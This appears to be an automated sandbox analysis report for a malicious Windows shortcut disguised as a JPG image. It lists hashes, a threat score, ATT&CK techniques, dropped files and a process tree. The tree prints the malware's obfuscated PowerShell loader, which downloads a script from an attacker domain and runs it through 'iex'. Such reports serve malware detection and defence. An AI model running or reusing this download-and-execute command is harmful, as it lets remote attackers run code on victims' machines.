7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_124308.jpg.lnk
Size 1KB
Sample260728-mcaeaagf45
SHA256 7967eb51355bde1fe06512fdada08b426732531eeb08e3dfbfd5eb76c27c5185
MD5 6d2933c12ba6de047b78416c36655d0c
SHA1 969e657189f257ad3b4fbba2a920ffcf36651a47
SHA512 8df5c862c2684ff22f86a6e2cde8ae22f2f0cb53a3233da700bab77d956a6628248e2f995b1f790a9435e27ecb8951b2d221d65e1ae1bb48c52c2ad4310d0dd1
TLSH
T15D21CE211FB20338D6BB8B795C76632187227A0ADB458FDF13C041949864120F4A8F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3180	powershell.exe
4	3180	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4700	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 3180	4700	cmd.exe	90
PID 3180 wrote to memory of 1656	3180	powershell.exe	91
PID 1656 wrote to memory of 4436	1656	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_124308.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvphotoinstaynow.shop','rese')[1,0] -join $l1dGSIa) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES10BF.tmp" "c:\Users\Admin\AppData\Local\Temp\50nk5pka\CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP"
      4⤵
      PID:4436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

50nk5pka.dll

Path C:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.dll
Size 3KB
SHA256 a5c43a7dcc17d995ca61b113166b2be498dd6cf909873020a210bfec8920c02a
MD5 c5b911e7e5aa9fe502a62426fc4a932d
SHA1 c6b48bd267d8a7f50f0ba9dbb19ee824823ccc21
SHA512 0297f342a5fd3d15d1f124fdbc87a49b009b53380985a3b0e08037fc971ba0334a5f9f54167f67256fb01d183d0ddeeb9b6732cde4bf499c91752b82d04d1418
TLSH
T10651CC16A3E9452BE4B70734AFE3075767B4FC109FB2676959800228AC617546E31BB4
MD5 SHA1 SHA512 TLSH

Submit Download

RES10BF.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES10BF.tmp
Size 1KB
SHA256 e3cfb19acfe327bc634d3e09db023e0c748a826868726f9fa77119dc12afbe67
MD5 3032b1318301383d8c8164c3ff8b57eb
SHA1 53c316ed3a272df1d0a26e5e70be6ff3c516323d
SHA512 32ccdcb3b0d6478ab3e05977400f885ab5df205c598c771c557aeae4491cebd3f503d58f99f612d02bd3f07d39ba0400a0b8a0bc8c575f9f976fc227d7a55cfa
TLSH
T18621CC05A3ED471FF07747316EF6131F9274FD65DFA2A75A844102292852144EFA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

50nk5pka.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

50nk5pka.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\50nk5pka.cmdline
Size 369B
SHA256 759fde5f79b2a088f8cc9bc0b3c521788358d429f5a0c2e19197272f4cfcb76d
MD5 ef7cf3a605f5c00690e7a682903260a1
SHA1 c4ae76c6a7c21100feee9df71da839c5f6ecf600
SHA512 68d64e17a6a486103bad26c01865687a613ca54afc528d031880be5ca81f09d6dce313836d8f2560cf26e989279cc60e36b91f7127d492cdd03d5db3a3dcb1e0
TLSH
T19AE0C02B4247C27DA1DD100F226BC4ACC772074769C07F88B040480EE06F40837D1F79
MD5 SHA1 SHA512 TLSH

Submit Download

CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\50nk5pka\CSCEB411FBB779B4B1297BEAC2D4E1A09F.TMP
Size 652B
SHA256 af9c69d6ee5a6b4c962e0ff55ac559a2805cbbcb2a1d35b644870f021a82c74e
MD5 640eb00787321e9703df04e4a4be2176
SHA1 c56225959d53defdeba275d5523a9bae273c084c
SHA512 d6365d44cbd97801b372bdc42c97f15334f53b092dbac034cd1dfe2cb71f0cd0dc74576ba12d048d64e74b7cca51055f6fb90ec73bb2766a3c9ac860e2af9b6f
TLSH
T1DFF03A0973F8120BF0F34B30BEF6436791A8FC65DE3293ED1481031928645109A62FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3180-9-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-7-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-11-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-12-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-13-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-14-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-15-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-2-0x00007FFB132DF000-0x00007FFB132E0000-memory.dmp

Download

memory/3180-8-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-10-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-6-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-28-0x0000020281D10000-0x0000020281D18000-memory.dmp

Download

memory/3180-5-0x00000202E76F0000-0x00000202E7712000-memory.dmp

Download

memory/3180-30-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-31-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-32-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download

memory/3180-33-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp

Download